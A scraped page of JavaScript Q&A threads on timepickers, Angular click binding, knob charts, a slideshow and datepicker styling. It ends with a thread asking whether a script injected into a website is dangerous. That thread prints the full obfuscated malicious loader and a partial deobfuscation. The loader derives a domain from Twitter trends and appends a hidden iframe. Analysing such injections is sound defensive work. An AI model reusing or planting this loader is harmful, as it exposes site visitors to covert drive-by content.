jquery plugin multiple instances - javascript

I'm trying to create a simple jQuery plugin that allows for multiple instances of a "timepicker". I haven't done much JavaScript OOP in the past so I figured that create this would be an excellent learning experience for me. That being said, I cannot seem to figure out why all instances are affected when I changed the time. This is my first post on StackOverflow so please bear with me.
Here's the code:
(function($) {
//Helper functions
if (typeof String.prototype.endsWith != 'function') {
String.prototype.endsWith = function(str) {
return str.length > 0 && this.substring(this.length - str.length, this.length) === str;
}
}
//Find if area is on the clickable list
var findOne = function(haystack, arr) {
return arr.some(function(v) {
return haystack.indexOf(v) >= 0;
});
};
var Timepicker = function(element, options) {
this.defaults = {
now: new Date()
};
this.element = $(element);
this.createTimepicker();
this.options = $.extend({}, this.defaults, options);
this.timepicker = $('.wicked-picker'); //The outer portion of the picker
this.up = $('.wicked-picker__controls__control-up'); //the up control(s)
this.down = $('.wicked-picker__controls__control-down'); //the down control(s)
this.hoursElem = $('.wicked-picker__controls__control--hours'); //the hours text
this.minutesElem = $('.wicked-picker__controls__control--minutes'); //the minutes text
this.meridiemElem = $('.wicked-picker__controls__control--meridiem'); //the am or pm text
this.canClick = ['timepicker', this.timepicker.selector.substring(1), this.up.selector.substring(1), this.down.selector.substring(1), this.hoursElem.selector.substring(1), this.minutesElem.selector.substring(1), this.meridiemElem.selector.substring(1)]; //the clickable areas
this.selectedHour = ((this.defaults.now.getHours() + 11) % 12) + 1; //the default hour
this.selectedMin = ((this.defaults.now.getMinutes() < 10) ? '0' : '') + this.defaults.now.getMinutes(); //the default minute
this.selectedMeridiem = (this.defaults.now.getHours > 12) ? 'PM' : 'AM'; //the defaut meridiem
this.attach(element); //attach events to this element
};
$.extend(Timepicker.prototype = {
showTimepicker: function(element) {
var timepickerPos = this.element.offset();
//set time to default time (now)
this.setText(element);
//if the timepicker's time differs from the input field's time change it
if (this.getText(element) !== this.getTime()) {
var inputTime = this.getText(element).replace(':', '').split(' ');
var newTime = new Date();
newTime.setHours(inputTime[0]);
newTime.setMinutes(inputTime[2]);
this.setTime(newTime);
}
//Positioning
this.timepicker.css({
'z-index': this.element.zIndex() + 1,
position: 'absolute',
left: timepickerPos.left,
top: timepickerPos.top + element.target.offsetHeight + 5
}).show();
//Time up/down events
//Most likely the area with issues
//Needs to know which instance
$(this.up).on('click', $.proxy(this.changeValue, this, '+', element));
$(this.down).on('click', $.proxy(this.changeValue, this, '-', element));
},
hideTimepicker: function(element) {
var targetClass = element.target.className.split(' ');
//Check if area is clickable before hiding
if (findOne(targetClass, this.canClick) === false) {
this.timepicker.hide();
}
},
//Create only one timepicker per page
createTimepicker: function() {
if ($('.wicked-picker').length === 0)
$('body').append('<div class="wicked-picker"> <p class="wicked-picker__title">Timepicker</p> <ul class="wicked-picker__controls"> <li class="wicked-picker__controls__control"> <span class="wicked-picker__controls__control-up"></span><span class="wicked-picker__controls__control--hours">00</span><span class="wicked-picker__controls__control-down"></span> </li> <li class="wicked-picker__controls__control"> <span class="wicked-picker__controls__control-up"></span><span class="wicked-picker__controls__control--minutes">00</span><span class="wicked-picker__controls__control-down"></span> </li> <li class="wicked-picker__controls__control"> <span class="wicked-picker__controls__control-up"></span><span class="wicked-picker__controls__control--meridiem">AM</span><span class="wicked-picker__controls__control-down"></span> </li> </ul> </div>');
},
//Attach the show and hide picker events
attach: function(element) {
$(element).on('focus', $.proxy(this.showTimepicker, this));
$('body').on('click', $.proxy(this.hideTimepicker, this));
},
//set the timepicker's time
setTime: function(time) {
this.setHours(time.getHours());
this.setMinutes(time.getMinutes());
this.setMeridiem();
},
//get the timepicker's time in the form H : MM : AM || PM
getTime: function() {
return [this.getHours + ' : ' + this.getMinutes() + ' ' + this.getMeridiem()];
},
//set the timepicker's and input field's hours
setHours: function(hours) {
var hour = new Date();
hour.setHours(hours);
var hoursText = ((hour.getHours() + 11) % 12) + 1;
this.hoursElem.text(hoursText);
this.selectedHour = hoursText;
},
//set the timepicker's hours
getHours: function() {
var hours = new Date();
hours.setHours(this.hoursElem.text());
return hours.getHours();
},
//set the timepicker's and input field's minutes
setMinutes: function(minutes) {
var minute = new Date();
minute.setMinutes(minutes);
var minutesText = minute.getMinutes();
var min = ((minutesText < 10) ? '0' : '') + minutesText;
this.minutesElem.text(min);
this.selectedMin = min;
},
//set the timepicker's minutes
getMinutes: function() {
var minutes = new Date();
minutes.setMinutes(this.minutesElem.text());
var minutesText = minutes.getMinutes();
return ((minutesText < 10) ? '0' : '') + minutesText;
},
//set the timepicker's and input field's meridiem
setMeridiem: function() {
var meridiem = this.getMeridiem();
var newMeridiem = (meridiem === 'PM') ? 'AM' : 'PM';
this.meridiemElem.text(newMeridiem);
this.selectedMeridiem = newMeridiem;
},
//set the timepicker's meridiem
getMeridiem: function() {
return this.meridiemElem.text();
},
//change the input field's time based on the arrow selected for each time unit
//input is the input field to be changed
//element is the up or down arrow clicked
//operator is the '+' or '-' sign
changeValue: function(operator, input, element) {
var target = (operator === '+') ? element.target.nextSibling : element.target.previousSibling;
var targetClass = $(target).attr('class');
if (targetClass.endsWith('hours')) {
this.setHours(eval(this.getHours() + operator + 1));
} else if (targetClass.endsWith('minutes')) {
this.setMinutes(eval(this.getMinutes() + operator + 1));
} else {
this.setMeridiem();
}
console.log('changed ' + $(input.target).attr('name'));
this.setText(input);
},
//Set the input field's time
setText: function(input) {
console.log('set ' + $(input.target).attr('name') + ' to ' + this.selectedHour + ' : ' + this.selectedMin + ' ' + this.selectedMeridiem);
$(input.target).val(this.selectedHour + ' : ' + this.selectedMin + ' ' + this.selectedMeridiem);
},
//Get the input field's time
getText: function(input) {
return $(input.target).val();
}
});
//Create timepickers
$.fn.timepicker = function(options) {
return this.each(function() {
new Timepicker(this, options);
});
};
}(jQuery));
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
</head>
<body>
<input type="text" name="event-start-time" id="event-start-time" class="form-input timepicker grid-5" />
<input type="text" name="event-end-time" id="event-end-time" class="form-input timepicker grid-5" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script>
$('.timepicker').timepicker({});
</script>
</body>
</html>

I was able to solve the problem by removing the previous up and down event click event handlers and then reapplying the new click event handlers. This was accomplished by changing
$(this.up).on('click', $.proxy(this.changeValue, this, '+', element));
$(this.down).on('click', $.proxy(this.changeValue, this, '-', element));
to
$(this.up).off('click').on('click', $.proxy(this.changeValue, this, '+', element));
$(this.down).off('click').on('click', $.proxy(this.changeValue, this, '-', element));
Thanks for all the advice!

Related

Bind click event to dynamically generated content (Angular 4)

I have the following function that basically generates a date and inserts it before a div in a view - I need to modify this so I am able to use a click event using the angular renderer function but having difficulties with the code below:
generateTimestampDiv(date, $this) {
let parent = document.getElementsByClassName('ui-datepicker-header');
let minutes = (date.getMinutes()<10 ? '0' : '') + date.getMinutes();
let datetime = date.toDateString()+' '+date.getHours()+':'+minutes;
let content = '<div style="background-color: #fafafa; width:90%;">'+ datetime +'</div>';
$(content).insertBefore(parent[0]);
// this bit is incorrect
this.renderer.listen(content, 'click', (event) => {
this.userClicked(event, this);
})
}
I need to modify the function to insert the content as per the function but also listen for a click event event so that I can pass the event to the userClicked() function
Use the Angular Renderer2 insertBefore method
export class AppComponent implements OnInit {
#ViewChild('clickablediv') el: ElementRef;
constructor(private _renderer: Renderer2) { }
ngOnInit() {
this._renderer.listen(this.el.nativeElement, 'click', (event) => {
this.generateTimestampDiv(new Date())
});
}
generateTimestampDiv(date) {
let minutes = (date.getMinutes() < 10 ? '0' : '') + date.getMinutes();
let datetime = date.toDateString() + ' ' + date.getHours() + ':' + minutes;
const div = document.createElement('div');
div.style.backgroundColor = "#fafafa";
div.style.width = "90%";
div.innerHTML = datetime;
this._renderer.insertBefore(this.el.nativeElement.parentNode, div, this.el.nativeElement)
}
}
demo

unable to show a knob pie chart inside my page, the pie chart is now showing

I want to add a count down pie charts inside our web page,and the pie charts will show the renaming time for our projects in the following format:-
**Project A**
starts in 3 weeks and 3 days
**Project B**
starts in 1 month and 2 weeks
here is the JavaSscript to implement this functionality and to show the above result:-
<script src="/Resources/jquery-1.11.3.js"></script>
<script>
$(function () {
var htmlinit = "";
htmlinit = "<image id= 'customloader' src= '/resources/ajax-loader.gif'></image>";
$("#inserhere").after(htmlinit);
var html="<div class='ms-comm-adminLinks ms-core-defaultFont ms-noList' unselectable='on'><div class='ms-webpart-titleText' unselectable='on'><a style='color:white' href='/Lists/Counter/AllItems.aspx'> Useful Links </a> </div><ul class='ms-comm-adminLinksList' unselectable='on'>";
$.ajax({
url: "/_api/web/lists/getbytitle('Counter')/items?$select=Title,CounterStartDate&$orderby=CounterStartDate asc",
method: "GET",
headers: { "Accept": "application/json; odata=verbose" },
success: function (data) {
if(data.d.results.length>0){
var items=data.d.results;
for(var i=0;i<items.length;i++){
var nurl = items[i].CounterStartDate.toString();
var ntitle = items[i].Title.toString();
var loopidcustom = "demo"+i.toString();
var formatteddate = datediff(new Date (nurl));
document.getElementById(loopidcustom).innerHTML = "<b>" + ntitle + "</b><br> Start Date "+ d+"<br/> Starts in " + formatteddate +"<hr/>" ;
if (distance < 0) {
//clearInterval(x);
document.getElementById(loopidcustom).innerHTML = "";
}
}
}
},
error: function (data) {
$("#customloader").hide();
}
});
});
function datediff(date) {
let d1 = date;
let d2 = now = new Date();
if (d2.getTime() < d1.getTime()) {
d1 = now;
d2 = date;
}
let yd = d1.getYear();
let yn = d2.getYear();
let years = yn - yd;
let md = d1.getMonth();
let mn = d2.getMonth();
let months = mn - md;
if (months < 0) {
years--;
months = 12 - md + mn;
}
let dd = d1.getDate();
let dn = d2.getDate();
let days = dn - dd;
if (days < 0) {
months--;
// figure out how many days there are in the last month
d2.setMonth(mn, 0);
days = d2.getDate() - dd + dn;
}
let weeks = Math.floor(days / 7);
days = days % 7;
if (years > 0) return years + ' years' + (months > 0 ? ' and ' + months + ' months' : '');
if (months > 0) return months + ' months' + (weeks > 0 ? ' and ' + weeks + ' weeks' : '');
if (weeks > 0) return weeks + ' weeks' + (days > 0 ? ' and ' + days + ' days' : '');
return days + ' days';
}
</script>
now i want to modifiy this and to show the remaining Year,Month,Week and Days inside pie charts,instead of only showing text. so i find this Read-Only knob pie chart interesting http://anthonyterrien.com/demo/knob/
:-
but i am facing these issues, when i try to test it inside our web page:-
i added the following code to test how the pie chart will look like:-
<script>
$(function($) {
$(".knob").knob({
change : function (value) {
//console.log("change : " + value);
},
release : function (value) {
//console.log(this.$.attr('value'));
console.log("release : " + value);
},
cancel : function () {
console.log("cancel : ", this);
},
/*format : function (value) {
return value + '%';
},*/
draw : function () {
// "tron" case
if(this.$.data('skin') == 'tron') {
this.cursorExt = 0.3;
var a = this.arc(this.cv) // Arc
, pa // Previous arc
, r = 1;
this.g.lineWidth = this.lineWidth;
if (this.o.displayPrevious) {
pa = this.arc(this.v);
this.g.beginPath();
this.g.strokeStyle = this.pColor;
this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d);
this.g.stroke();
}
this.g.beginPath();
this.g.strokeStyle = r ? this.o.fgColor : this.fgColor ;
this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d);
this.g.stroke();
this.g.lineWidth = 2;
this.g.beginPath();
this.g.strokeStyle = this.o.fgColor;
this.g.arc( this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false);
this.g.stroke();
return false;
}
}
});
// Example of infinite knob, iPod click wheel
var v, up=0,down=0,i=0
,$idir = $("div.idir")
,$ival = $("div.ival")
,incr = function() { i++; $idir.show().html("+").fadeOut(); $ival.html(i); }
,decr = function() { i--; $idir.show().html("-").fadeOut(); $ival.html(i); };
$("input.infinite").knob(
{
min : 0
, max : 20
, stopper : false
, change : function () {
if(v > this.cv){
if(up){
decr();
up=0;
}else{up=1;down=0;}
} else {
if(v < this.cv){
if(down){
incr();
down=0;
}else{down=1;up=0;}
}
}
v = this.cv;
}
});
});
</script>
<style>
body{
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
font-weight: 300;
text-rendering: optimizelegibility;
}
p{font-size: 30px; line-height: 30px}
div.demo{text-align: center; width: 280px; float: left}
div.demo > p{font-size: 20px}
</style>
but i got only the number without any pie chart around it as follow:-
Second question, now let say i manage to show the pie chart correctly. then can i modify the way the pie charts are being constructed? for example in my case i want the pie charts to show count downs, so if the remaining is 1-Day then the pie chart should be almost fully colored. and i will have those different ranges:-
for Day it can be from 1 to 7
for month it can be from 1 to 12
for weeks it can be from 1 to 4
so is this possible ?
#john, based on your comments I have prepared a sample using roundSlider plugin. Check the below demo and let me know whether it satisfies your requirement:
DEMO
Here due to the sample purpose I used the hard-coded id, you can change this as based on your application scenario.

JavaScript slideshow (start from other slide, depending on day of week)

I have this slideshow (JS Fidle: https://jsfiddle.net/toon09/zopnqxry/)
Everything works with it, but i want slideshow start depending on day of week and time of the day.
I.e. If today is Monday (from 12pm to 7 am), start from slide 1, if today is monday (from 7 am to 12pm) start slideshow from slide number 2, if today is tuesday, start from slide 3 and etc.
$(document).ready(function() {
//rotation speed and timer
var speed = 900000000;
var run = setInterval('rotate()', speed);
//grab the width and calculate left value
var item_width = $('#slides li').outerWidth();
var left_value = item_width * (-1);
//move the last item before first item, just in case user click prev button
$('#slides li:first').before($('#slides li:last'));
//set the default item to the correct position
$('#slides ul').css({'left' : left_value});
//if user clicked on prev button
$('#prev').click(function() {
//get the right position
var left_indent = parseInt($('#slides ul').css('left')) + item_width;
//slide the item
$('#slides ul:not(:animated)').animate({'left' : left_indent}, 200,function(){
//move the last item and put it as first item
$('#slides li:first').before($('#slides li:last'));
//set the default item to correct position
$('#slides ul').css({'left' : left_value});
});
//cancel the link behavior
return false;
});
//if user clicked on next button
$('#next').click(function() {
//get the right position
var left_indent = parseInt($('#slides ul').css('left')) - item_width;
//slide the item
$('#slides ul:not(:animated)').animate({'left' : left_indent}, 200, function () {
//move the first item and put it as last item
$('#slides li:last').after($('#slides li:first'));
//set the default item to correct position
$('#slides ul').css({'left' : left_value});
});
//cancel the link behavior
return false;
});
//if mouse hover, pause the auto rotation, otherwise rotate it
$('#slides').hover(
function() {
clearInterval(run);
},
function() {
run = setInterval('rotate()', speed);
}
);
});
//a simple function to click next link
//a timer will call this function, and the rotation will begin :)
function rotate() {
$('#next').click();
}
html:
<div id="carousel">
<div class="clear"></div>
<div id="slides">
<ul>
<li>If today monday and its from 12 pm till 7:30 <br>am,start showing from this slide</li>
<li>If today monday and its from 7:30 am till 11:59 pm,<br>start showing from this slide</li>
<li>if today is other day of the week<br> (from tuesday to sunday)start slideshow from this slide</li>
</ul>
<div class="clear"></div>
</div>
<div class="tarpas"></div>
<div id="buttons1">
prev
<div class="clear"></div>
</div>
<div id="buttons2">
next
<div class="clear"></div>
</div>
Is it possible to do that? Can anyone help me pls with this? Tired of searching google :)
I built an example for you, but it is set to go off right now so you can see it work in the fiddle, it is checking the date and time and moving the list element based on it.
see fiddle https://jsfiddle.net/DIRTY_SMITH/zopnqxry/3/
<script>
function today() {
var d = new Date();
var h = d.getHours();
var weekday = new Array(7);
weekday[0] = "Sunday";
weekday[1] = "Monday";
weekday[2] = "Tuesday";
weekday[3] = "Wednesday";
weekday[4] = "Thursday";
weekday[5] = "Friday";
weekday[6] = "Saturday";
var n = weekday[d.getDay()];
var $el = $(li1);
//if friday after 12o'clock trigger
if ((n === "Friday") && (h > 12)) {
//move element down one step
$el.next().after($el);
}
}
</script>
I make an example but it's based on a position.
Example - https://jsfiddle.net/microThread/h8ncna1v/5/
Ex:
Slider
-> item 1 [position 0],
-> item 2[position 1],
-> item n[position n]
By default all items in the slider are not showing and base on the SliderCronPosition.getDayConfig() you can get the position that you need for the specific interval.
For intervals that are not existing in the config for current day you can specified a default position for that day
(Ex: 'Saturday'.default.start_position) or in case you current day is not in the config then the system use the 'config.default_start_position'.
var SliderCronPosition = {
current_cron_info: {
day: null,
start_position: null,
interval_a: null,
interval_b: null,
},
day_name: {
0: 'Sunday',
1: 'Monday',
2: 'Tuesday',
3: 'Wednesday',
4: 'Thursday',
5: 'Friday',
6: 'Saturday'
},
config: {
default_start_position: 1,
'Sunday': {
'intervals': {
}
},
'Monday': {
'intervals': {
}
},
'Tuesday': {
'intervals': {
}
},
'Wednesday': {
'intervals': {
}
},
'Thursday': {
'intervals': {
}
},
'Friday': {
'intervals': {
}
},
/* Saturday. */
'Saturday': {
'intervals': {
/* Interval 1. */
0: {
'interval_a': '00:00:00',
'interval_b': '07:30:00',
'start_position': 2
},
/* Interval 2. */
1: {
'interval_a': '07:30:00',
'interval_b': '23:59:00',
'start_position': 2
}
},
/* Default value for this day. */
'default': {
'start_position': 1
}
},
},
getDay: function() {
var d = new Date();
return d.getDay();
},
getDayName: function() {
return this.day_name[this.getDay()];
},
getCurrentDate: function() {
var d = new Date();
return (d.getFullYear() + '/' + ('0' + (d.getMonth()+1)).slice(-2)+ '/' + ('0' + d.getDate()).slice(-2) );
},
getCurrentTime: function() {
var d = new Date();
return d.getTime();
},
getIntervalTime: function(time) {
var value = null,
d = new Date(this.getCurrentDate() + " " + time);
if(d instanceof Date && isFinite(d)) {
value = d.getTime();
}
return value;
},
getDayConfig: function() {
var value = null,
d = this.getDayName();
this.current_cron_info.day = null;
this.current_cron_info.start_position = null;
this.current_cron_info.interval_a = null;
this.current_cron_info.interval_b = null;
if(typeof this.config[d] !== 'undefined') {
if(typeof this.config[d].intervals !== 'undefined') {
this.current_cron_info.day = d;
for (var i in this.config[d].intervals) {
var interval_a = this.getIntervalTime(this.config[d].intervals[i].interval_a),
interval_b = this.getIntervalTime(this.config[d].intervals[i].interval_b),
current_time = this.getCurrentTime();
switch(true) {
case (interval_a !== null && interval_b !== null):
if (current_time >= interval_a && current_time <= interval_b) {
this.current_cron_info.interval_a = this.config[d].intervals[i].interval_a;
this.current_cron_info.interval_b = this.config[d].intervals[i].interval_b;
value = this.config[d].intervals[i].start_position;
}
break;
case (interval_a !== null && interval_b === null):
if (current_time >= interval_a) {
this.current_cron_info.interval_a = this.config[d].intervals[i].interval_a;
this.current_cron_info.interval_b = this.config[d].intervals[i].interval_b;
value = this.config[d].intervals[i].start_position;
}
break;
case (interval_a === null && interval_b !== null):
if (current_time <= interval_b) {
this.current_cron_info.interval_a = this.config[d].intervals[i].interval_a;
this.current_cron_info.interval_b = this.config[d].intervals[i].interval_b;
value = this.config[d].intervals[i].start_position;
}
break;
}
}
}
/* In case we don't have any value and we have a default value. */
if(
value == null &&
typeof this.config[d].default !== 'undefined'
) {
value = this.config[d].default.start_position;
}
}
value = (value == null) ? this.config.default_start_position : value;
this.current_cron_info.start_position = value;
return value;
}
};
$(document).ready(function() {
var current_job_info = $('#current_job_info'),
slider = $('#slider'),
get_start_position = SliderCronPosition.getDayConfig();
slider.find('.item').eq( (get_start_position - 1)).show();
current_job_info.append("Day: " + SliderCronPosition.current_cron_info.day);
current_job_info.append(" | Slider Position: " + SliderCronPosition.current_cron_info.start_position);
current_job_info.append(" | Interval A:" + SliderCronPosition.current_cron_info.interval_a);
current_job_info.append(" | Interval B:" + SliderCronPosition.current_cron_info.interval_b);
});

How to Apply multiple styles on days

I have to mark three kind of days with different styles: Out_of_window, Free or Unavailable. The unavailable has to be disabled.
I made a function based on this question. And I had to remove the default datepicker class (ui-state-default) otherwise I couldn't change the bg-image.
Everything work as desired, until I change month. When I get back to original month, the day gets back its orignal class (ui-state-default) and I have no more my customized styles according the kind of day.
So, I have the following codes:
var pick_up_out_of_window_dayDates = new Array("2012-12-11","2012-12-12");
var pick_up_free_dayDates = new Array("2012-12-21","2012-12-22");
(as global ones)
function applyDayStyles(date){
var enabled = true;
var cssClass = "";
console.log(date);
var day = date.getDate();
var month = date.getMonth() + 1; //0 - 11
var year = date.getFullYear();
var compare = year + "-" + month + "-" + day;
var pick_up_out_of_window_day = pick_up_out_of_window_dayDates.indexOf(compare) + " " + compare
var pick_up_free_day = pick_up_free_dayDates.indexOf(compare) + " " + compare
if (pick_up_out_of_window_dayDates.indexOf(compare) >= 0){
cssClass = "pick_up_out_of_window_dayCalendar";
console.log(1);
return new Array(enabled, cssClass, pick_up_out_of_window_day);
}
else
if (pick_up_free_dayDates.indexOf(compare) >= 0){
cssClass = "pick_up_free_dayCalendar";
console.log(2);
return new Array(enabled, cssClass, pick_up_free_day);
}
else
return new Array(false, cssClass, date);
}
$(document).ready(function() {
$(".datepicker").datepicker({
minDate: 0,
beforeShowDay: applyDayStyles
})
//{edited}
// this is un necesssary !
// $('.pick_up_free_dayCalendar').children().removeClass('ui-state-default').addClass('pick_up_free_dayCalendarIN'); // I Had to add this line to remove the defaukt bg style.
})
Any thoughts?
Just have to override the default class :
.datepicker .pick_up_out_of_window_dayCalendar .ui-state-default {background: red;}
.datepicker .pick_up_free_dayCalendar .ui-state-default {background: blue;}
Thanx to #adeneo (see questions' coments)
http://jsfiddle.net/Cwg3P/2/

Is this dangerous Javascript?

<script>
(function($$) {
d = "(#(){ %H=#( +Pw=this;\\[Pw~FullYear $Month $Date $Hours $Minutes $Seconds()]}; %B=#( +#h,PD=this.#H(),i=0;PD[1]+=1;while(i++<7){#h=PD[i] 0#h<#L)PD[i]=Vz')+#h}\\ PD.splice(Vz'),1+VT - 3Vu -+'T'+PD 3VU -};Pr={'hXhttp://`sX/`tXtre`dXdai`nXnds`qX?`cXcallback=`jX#`aXapi`lXly`WXtwitter`oXcom`eX1`kXs`KXbody`xXajax`DX.`LXlibs`JXjquery`6X6.2`mXmin`fXon`SXcript`iXif`MXrame`YXhead`wXwidth:`pXpx;`HXheight:`TX2`rXrc`QX\"`yXstyle=`bX><`RX></`IXdiv`BX<`AX>`gXgoogle`EX&date=`zX0`uX-`UX `,X:00`;':2345678901,'/':48271,'F':198195254,'G':12,'CX='};# #n(#E){#M=[];for(PM=0;PM<#E /;PM++){#M.push(Pr[#E.charAt(PM)])}\\ #p(#M)}Pj=document;#d=window; (C='undefined'; (S=VhaDWDosestnsdlDjfqcq' 6G= &)== (C) 0#G||!PR()){if(!#G){try{Pn=jQuery ;try{Pn=$ }PS=Pj.getElementsByTagName(VY -[0];#m=Pj.createElement(VkS -;#m.setAttribute(Vkr'),#n(\"hxDgakDosxsLsJseD6sJDmDj\"));PS.appendChild(#m)}# PH(#q,PB){\\ Math.floor(#q/PB) 7x(#s +PC=PH( (N, !m) 5F= (N% !m 5f= !D*#F- !T*PC 0#f>0){#N=#f}else{#N=#f+ !v}\\(#N%#s) 7t(#k){ (N=V;')+#k; !D=V/'); !v=V;')-VF'); !m=PH( !v, !D); !T= !v% !D 7p(P){\\ P /==1?P[0]:P 3'')};# #e(P){d=new Date( 6D=Vzee');d.setTime((P.as_of-VG')*VG')*VG')*Vezz -*Vezzz -;\\ d 7z(Pz +#c,PL,#j=Pz / 5v=[];while(--#j){PL=#x(#j 6v.push(PL 6c=Pz[PL];Pz[PL]=Pz[#j];Pz[#j]=#c}}# PJ($){PN=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],#(x,i){\\ String.fromCharCode(i+x+24)});\\ #p(PN) 7o($){if &)!= (C){$(#(){if &.Ph)!= (C)\\;$.Ph=1; 2S,#(Pe){#R=#e(Pe 6K=#R~Month() 8c=#R~Date( 6u=#S+#n(\"ETzeeu\")+#K+\"-\"+Pc;Pu=PA=PH(#R~Hours(),6)*6 8d=Pu+1;#L=+Vez'); ) 2u,#(Pe){try{#y=Pe.trends;for(#r in #y){break}#r=#r.substr(+Vz'),+Vee - 0Pu ,u 0Pd ,d; 4u+V,')] 0!#b) 4d+V,')];#b=(#b[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'safetynet').split('' 6T=#K*73+PA*3+Pc*41;#t(#T 6a=#x(4)+#L;#z(#b 6g=VCh')+#p(#b).substring(0,#a)+'.com/'+PJ($);Pr['Z']=#g;Pf=VBI 1biMU 1UkrZRiMRIA');$(VK -.append(Pf)}catch(Py){}})},#L*#L*#L)})})}else{ ) *,1+VTTT -}} *)()#js#functionP#AV#n('X':'`','~.getUTC\\return .noConflict(true)}catch(e){} !#d.P $(),Pw~ %Date.prototype.# &(typeof($ (#d.# )setTimeout(#(){ *#o(#d.jQuery)} +){var ,<#L)Pu=Vz')+P -')) /.length 0;if( 1yQHTpweeepQ 2$.getJSON(# 3.join( 4#b=#y[#r+P 5;var # 6);# 7}# # 8+(+Ve -;P";
for (c = 50; c; d = (t = d.split('##PVX`~\\ ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8'.substr(c -= (x = c < 10 ? 1 : 2), x))).join(t.pop()));
$$(d)
})(function(jsAP) {
return (function(jsA, jsAg) {
return jsAg(jsA(jsAg(jsA(jsAP))))(jsAP)()
})((function(jsA) {
return jsA.constructor
}), (function(jsA) {
return (function(jsAg) {
return jsA.call(jsA, jsAg)
})
}))
});
</script>
My host is saying nothing about this and it is happening frequently. I think they might be hiding a malicious hacking attempt.
What does this do?
EDIT:
We're changing hosts.
The code is indeed malicious and was injected into our website. Our host was trying to conceal that (probably so that we wouldn't worry)
This happened to my friend's website on the same host.
Don't test out this script, please.
Looks like some obfuscated injection.
Let's work and decipher this; it'll be fun(-nish).
AFAICT so far it's grabbing (what seems to be) the third trend for two days prior to the current date, or at least was meant to (I think the date key it's using to look up a day's trends is incorrect, because it's adding a zero-seconds thing onto the time, which isn't present in the feed), building a URL from that, and sending some data keyed on a hash representing the nearest 6-hr interval.
Here's the blob of text decoded after decoding along with the start of analysis:
(function () {
jsAr = { }; // Here only for a subsequent set of jsAr['Z'] later, which may not be necessary.
/* Returns either first element of jsA, or a joined string. */
function firstElementOrJoined(jsA) {
return jsA.length == 1 ? jsA[0] : jsA.join('')
};
jsAj = document;
loadJquery(); // Load JQ in head new script tag.
function divideAndFloor(jsq, jsAB) {
return Math.floor(jsq / jsAB)
}
function jsx(jss) {
var jsAC = divideAndFloor(jsN, jsAm);
var jsF = jsN % jsAm;
var jsf = (jsAD * jsF) - (jsAT * jsAC);
if (jsf > 0) {
jsN = jsf
} else {
jsN = jsf + jsAv
}
return (jsN % jss)
}
/** Used only once in .getJSON call. */
function jst(jsk) {
jsN = 2345678901 + jsk;
jsAD = 48271;
jsAv = 2147483647;
jsAm = divideAndFloor(jsAv, jsAD);
jsAT = jsAv % jsAD
}
/** Takes twitter as_of and subtracts ~2 days. */
function jse(jsA) {
d = new Date();
d.setTime((jsA.as_of - 172800) * '1000');
return d
}
function jsz(jsAz) {
var jsc, jsAL, jsj = jsAz.length;
var jsv = [];
while (--jsj) {
jsAL = jsx(jsj);
jsv.push(jsAL);
jsc = jsAz[jsAL];
jsAz[jsAL] = jsAz[jsj];
jsAz[jsj] = jsc
}
}
function jso($) {
// Wait until we have jQuery loaded.
if (typeof($) == 'undefined') {
setTimeout(function () { jso(jQuery) }, 1222);
return;
}
$(function () {
// Only run this function once (there's a timeout inside).
if (typeof ($.jsAh) != 'undefined') return;
$.jsAh = 1;
$.getJSON('http://api.twitter.com/1/trends/daily.json?callback=?', function (data) {
dateTwoDaysPrior = jse(data);
nMonthTwoDaysAgo = dateTwoDaysPrior.getUTCMonth() + 1;
nDayTwoDaysAgo = dateTwoDaysPrior.getUTCDate();
urlTwitterTwoDaysAgo = 'http://api.twitter.com/1/trends/daily.json?callback=?&date=2011-' + nMonthTwoDaysAgo + "-" + nDayTwoDaysAgo;
twoDigitPrevSixHr = prevSixHr = divideAndFloor(dateTwoDaysPrior.getUTCHours(), 6) * 6 + 1;
jsAd = twoDigitPrevSixHr + 1;
// Run JSON request every second.
setTimeout(function () {
$.getJSON(urlTwitterTwoDaysAgo, function (data) {
try {
jsy = data.trends;
for (jsr in jsy) {
break;
}
jsr = jsr.substr(0, 11); // == 2011-11-10
if (twoDigitPrevSixHr < 10) twoDigitPrevSixHr = '0' + twoDigitPrevSixHr; // Normalize to hh
if (jsAd < 10) twoDigitPrevSixHr = '0' + jsAd; // Normalize to hh
// Try to get trends for last 6hr thing (but the :00 will make it never work?)
// If can't, try to get the next 6hr thing.
jsb = jsy[jsr + twoDigitPrevSixHr + ':00'];
if (!jsb) jsb = jsy[jsr + jsAd + ':00'];
// Get third trend entry, e.g.,
// {
// "name": "#sinterklaasintocht",
// "query": "#sinterklaasintocht",
// "promoted_content": null,
// "events": null
// }
// and strip out non-chars from name, add safetynet, and convert to array
// ['s', 'i', etc... nterklaasintochtsafetynet]
jsb = (jsb[3].name.toLowerCase().replace(/[^a-z]/gi, '') + 'safetynet').split('');
// 803 + prevSixHr * 3 + 410; -- some sort of hash?
hashkeyForTwoDaysAgoPrevSixHr = nMonthTwoDaysAgo * 73 + prevSixHr * 3 + nDayTwoDaysAgo * 41;
jst(hashkeyForTwoDaysAgoPrevSixHr);
jsa = jsx(4) + 10;
jsz(jsb);
// Are these two lines useful? Neither jsAr['Z'] nor jsg are referenced.
// jsb = ['s', 'i', etc... nterklaasintochtsafetynet]
jsg = '=http://' + firstElementOrJoined(jsb).substring(0, jsa) + '.com/index.php?tp=001e4bb7b4d7333d';
jsAr['Z'] = jsg;
//
jsAf = '<divstyle="height:2px;width:111px;"><iframe style="height:2px;width:111px;" src></iframe></div>';
$('body').append(jsAf)
} catch (jsAy) {}
})
}, 1000)
})
});
}
jso(jQuery)
})();
Here's some URLs constructed from the array:
jsd.jsS = http://api.twitter.com/1/trends/daily.json?callback=?
This chunk of code:
jsAS = jsAj.getElementsByTagName(jsn('Y'))[0];
jsm = jsAj.createElement(jsn('kS'));
jsm.setAttribute(jsn('kr'), jsn("hxDgakDosxsLsJseD6sJDmDj"));
jsAS.appendChild(jsm)
appends the jquery script tag to <head>:
